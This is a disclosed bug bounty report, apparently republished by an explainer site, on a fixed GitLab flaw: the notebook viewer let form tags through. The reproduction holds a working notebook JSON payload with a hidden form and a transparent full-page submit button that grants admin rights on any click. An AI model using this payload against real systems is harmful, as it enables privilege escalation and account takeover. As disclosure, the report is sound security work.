Skip to content
CSRF Disclosed report Intermediate

Issue any http requests when users view a .ipynb notebook and click anywhere

The sanitisation of .ipynb notebook viewer does not exclude form tags, allowing attackers to inject a form that sends arbitrary POST requests. Attackers can also use CSS classes to make the submit button a transparent overlay, so clicking anywhere triggers the form submission.

GitLab

Originally disclosed on GitLab

  • Fixed in 4 months
  • Disclosed after 4 months

HackerOne report #1563379 by yvvdwf on 2022-05-09, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

Hello,

The santization of a .ipynb notebook viewer does not exclude form tag. Consequently attackers may introduce a form which allows to send arbitrary POST requests to the server. PUT, DELETE, PATH requests can be achieved by setting value of_method field.

Attackers may also use class attribute to change the form submit button as a topmost transparent layer to intercept users' clicks. In the following example, users click anywhere on the webpage to trigger a form submit.

Steps to reproduce
  1. In an existing project or create a new one, add a file, notebook-test.ipynb (you can change the basename but the .ipynb extension is important) with the following content:
JSON
{
  "cells": [  
    {  
      "cell_type": "code",  
      "source": [ "print(\"Hello world\")"],  
      "outputs": [  
        {  
          "data": {  
            "text/html": [  
              "<form action=/api/v4/users/5212593 method=post>",  
              "<input name=_method value=PUT type=hidden>",  
              "<input name=admin value=true type=hidden>",  
              "<input type=submit class='fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default' value='zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'>"  
            ]  
          }  
        }  
      ]  
    }  
  ]  
}
  1. After committing the file, view it and click anywhere on the webpage. You will see a POST request to /api/v4/users/5212593. This is an example to escalate my account as Admin.
Impact

Attackers may trick users to perform unattended actions, such as (1) add attackers to Admin or a private group, (2) add attackers' SSH key, etc.

Examples

This example is in private mode, please tell me if you cannot access: https://gitlab.com/yvvdwf/xss/-/blob/master/notebook-form.ipynb

What is the current bug behavior?

The sanitization does not exclude form tag

What is the expected correct behavior?

The form tag should be excluded

Output of checks

This bug happens on GitLab.com

Impact

Attackers may trick users to perform unattended actions, such as (1) add attackers to Admin or a private group, (2) add attackers' SSH key, etc.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The notebook viewer's HTML sanitiser did not exclude form tags, allowing arbitrary form submission.

Impact

Attackers may trick users into performing unattended actions, such as adding attackers to Admin or a private group, or adding attackers' SSH keys.

What the attacker needed

Victim views a malicious .ipynb notebook; victim clicks anywhere on the page

The fix

The form tag should be excluded from the sanitiser.

How it was found

  1. Create or use an existing project and add a file with .ipynb extension containing a form in the HTML output.
  2. Commit the file and view it.
  3. Click anywhere on the webpage to trigger the form submission.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A notebook file (.ipynb) can contain HTML that is shown when viewed. The viewer did not remove form tags, so an attacker could put a form in a notebook. When a victim clicks anywhere on the page, the form secretly submits a request, potentially changing account settings.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.